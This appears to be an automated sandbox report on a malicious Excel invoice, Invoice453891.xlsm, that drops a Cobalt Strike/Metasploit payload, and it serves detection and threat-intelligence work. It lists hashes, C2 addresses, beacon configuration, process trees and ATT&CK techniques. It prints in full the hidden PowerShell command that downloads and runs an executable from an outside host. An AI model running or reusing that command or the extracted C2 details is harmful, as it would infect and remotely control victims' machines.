cobaltstrike | 0e37b2666933d637c97224ff505132118838c2889d1aa3ed385817badd17d1b2

General

Target

Invoice453891.xlsm
Size

86KB
MD5

9ef60e9f0364cfc381fe5c870e9e10f0
SHA1

67173558f554be3acd49292c4614aa5ee81ecfa3
SHA256

0e37b2666933d637c97224ff505132118838c2889d1aa3ed385817badd17d1b2
SHA512

3603ac6e154637d808ec254b5cbb23f97e994538a3a35305ec4ac9b1a0606717a8e4b45e59d8677753e1bacac45b79baa18fee428118b68b23bdc6fde559acf5

Score

10^/10

cobaltstrike metasploit 0 backdoor trojan

Malware Config

Extracted

Family

metasploit

Version

windows/download_exec

C2

http://5.8.18.118:45500/pSXA

Attributes

headers User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

Extracted

Family

cobaltstrike

Botnet

0

C2

http://5.8.18.118:45500/match

Attributes

access_type
512
host
5.8.18.118,/match
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
polling_time
60000
port_number
45500
sc_process32
%windir%\syswow64\rundll32.exe
sc_process64
%windir%\sysnative\rundll32.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
4096
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/submit.php
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUS)
watermark
0

Signatures

Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1960	1052	Cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1736 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

JavaHelpApplication.exe

pid process

1764 JavaHelpApplication.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exe

pid process

1736 powershell.exe
1736 powershell.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
6	1736	powershell.exe

pid	process
1764	JavaHelpApplication.exe

pid	process
1736	powershell.exe
1736	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1052 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1736 powershell.exe
1736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1736 powershell.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

EXCEL.EXE

pid process

1052 EXCEL.EXE
1052 EXCEL.EXE
1052 EXCEL.EXE
1052 EXCEL.EXE
1052 EXCEL.EXE

pid	process
1052	EXCEL.EXE

pid	process
1736	powershell.exe
1736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1736	powershell.exe

pid	process
1052	EXCEL.EXE
1052	EXCEL.EXE
1052	EXCEL.EXE
1052	EXCEL.EXE
1052	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXECmd.exepowershell.exe

description	pid	process	target process
PID 1052 wrote to memory of 1960	1052	EXCEL.EXE	Cmd.exe
PID 1052 wrote to memory of 1960	1052	EXCEL.EXE	Cmd.exe
PID 1052 wrote to memory of 1960	1052	EXCEL.EXE	Cmd.exe
PID 1052 wrote to memory of 1960	1052	EXCEL.EXE	Cmd.exe
PID 1960 wrote to memory of 1736	1960	Cmd.exe	powershell.exe
PID 1960 wrote to memory of 1736	1960	Cmd.exe	powershell.exe
PID 1960 wrote to memory of 1736	1960	Cmd.exe	powershell.exe
PID 1960 wrote to memory of 1736	1960	Cmd.exe	powershell.exe
PID 1736 wrote to memory of 1764	1736	powershell.exe	JavaHelpApplication.exe
PID 1736 wrote to memory of 1764	1736	powershell.exe	JavaHelpApplication.exe
PID 1736 wrote to memory of 1764	1736	powershell.exe	JavaHelpApplication.exe
PID 1736 wrote to memory of 1764	1736	powershell.exe	JavaHelpApplication.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Invoice453891.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1052

C:\Windows\SysWOW64\Cmd.exe
Cmd /c powershell -nop -w hidden Set-Item Variable:/HBl (New-Object Net.WebClient);SI Variable:6ik 'http://mw.theformangroup.com/yml.xml';Set-Variable 9ul 'C:\ProgramData\JavaHelpApplication.exe';(DIR Variable:\HBl).Value.DownloadFile((LS Variable:6ik).Value,(GV 9ul -Valu));Start-Process 'C:\ProgramData\JavaHelpApplication.exe'
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -w hidden Set-Item Variable:/HBl (New-Object Net.WebClient);SI Variable:6ik 'http://mw.theformangroup.com/yml.xml';Set-Variable 9ul 'C:\ProgramData\JavaHelpApplication.exe';(DIR Variable:\HBl).Value.DownloadFile((LS Variable:6ik).Value,(GV 9ul -Valu));Start-Process 'C:\ProgramData\JavaHelpApplication.exe'
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1736

C:\ProgramData\JavaHelpApplication.exe
"C:\ProgramData\JavaHelpApplication.exe"
4⤵
- Executes dropped EXE
PID:1764

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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C:\ProgramData\JavaHelpApplication.exe
MD5
a93903d1e907ce0e65658fb7dc4c9ea4

SHA1
be0232663b1822c7c3c845d23977a5d0e6745f9e

SHA256
0caf9fb9d1057d93e09ecdf84e1c383c70ac8f01693601d0567569c0ebee9e7f

SHA512
031a3273cce82d59dcbb1419a4c22da3086c011a92bc6adc43c9f6d6083242cddb69c068f4d2fe5924a65afae391d8eeae50b4e6541feb991851482149b00fa7

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\ProgramData\JavaHelpApplication.exe
MD5
a93903d1e907ce0e65658fb7dc4c9ea4

SHA1
be0232663b1822c7c3c845d23977a5d0e6745f9e

SHA256
0caf9fb9d1057d93e09ecdf84e1c383c70ac8f01693601d0567569c0ebee9e7f

SHA512
031a3273cce82d59dcbb1419a4c22da3086c011a92bc6adc43c9f6d6083242cddb69c068f4d2fe5924a65afae391d8eeae50b4e6541feb991851482149b00fa7

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\ProgramData\JavaHelpApplication.exe
MD5
a93903d1e907ce0e65658fb7dc4c9ea4

SHA1
be0232663b1822c7c3c845d23977a5d0e6745f9e

SHA256
0caf9fb9d1057d93e09ecdf84e1c383c70ac8f01693601d0567569c0ebee9e7f

SHA512
031a3273cce82d59dcbb1419a4c22da3086c011a92bc6adc43c9f6d6083242cddb69c068f4d2fe5924a65afae391d8eeae50b4e6541feb991851482149b00fa7

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memory/1052-60-0x000000002F411000-0x000000002F414000-memory.dmp

Filesize
12KB

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memory/1052-61-0x00000000711A1000-0x00000000711A3000-memory.dmp

Filesize
8KB

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memory/1052-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

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memory/1052-101-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

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memory/1736-67-0x0000000004930000-0x0000000004931000-memory.dmp

Filesize
4KB

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memory/1736-66-0x0000000002160000-0x0000000002161000-memory.dmp

Filesize
4KB

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memory/1736-69-0x00000000048F2000-0x00000000048F3000-memory.dmp

Filesize
4KB

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memory/1736-70-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

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memory/1736-71-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

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memory/1736-74-0x00000000055F0000-0x00000000055F1000-memory.dmp

Filesize
4KB

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memory/1736-79-0x0000000005750000-0x0000000005751000-memory.dmp

Filesize
4KB

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memory/1736-80-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

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memory/1736-81-0x0000000006230000-0x0000000006231000-memory.dmp

Filesize
4KB

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memory/1736-88-0x0000000006200000-0x0000000006201000-memory.dmp

Filesize
4KB

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memory/1736-89-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

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memory/1736-68-0x00000000048F0000-0x00000000048F1000-memory.dmp

Filesize
4KB

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memory/1736-64-0x0000000000000000-mapping.dmp

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memory/1736-65-0x0000000075721000-0x0000000075723000-memory.dmp

Filesize
8KB

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memory/1764-92-0x0000000000000000-mapping.dmp

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memory/1764-95-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

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memory/1764-96-0x00000000003E0000-0x00000000003E6000-memory.dmp

Filesize
24KB

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memory/1764-97-0x0000000000400000-0x0000000000545000-memory.dmp

Filesize
1.3MB

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memory/1764-98-0x0000000001F00000-0x0000000001F01000-memory.dmp

Filesize
4KB

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memory/1764-100-0x0000000004280000-0x00000000042B5000-memory.dmp

Filesize
212KB

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memory/1764-99-0x0000000004940000-0x0000000004D40000-memory.dmp

Filesize
4.0MB

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memory/1960-63-0x0000000000000000-mapping.dmp

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Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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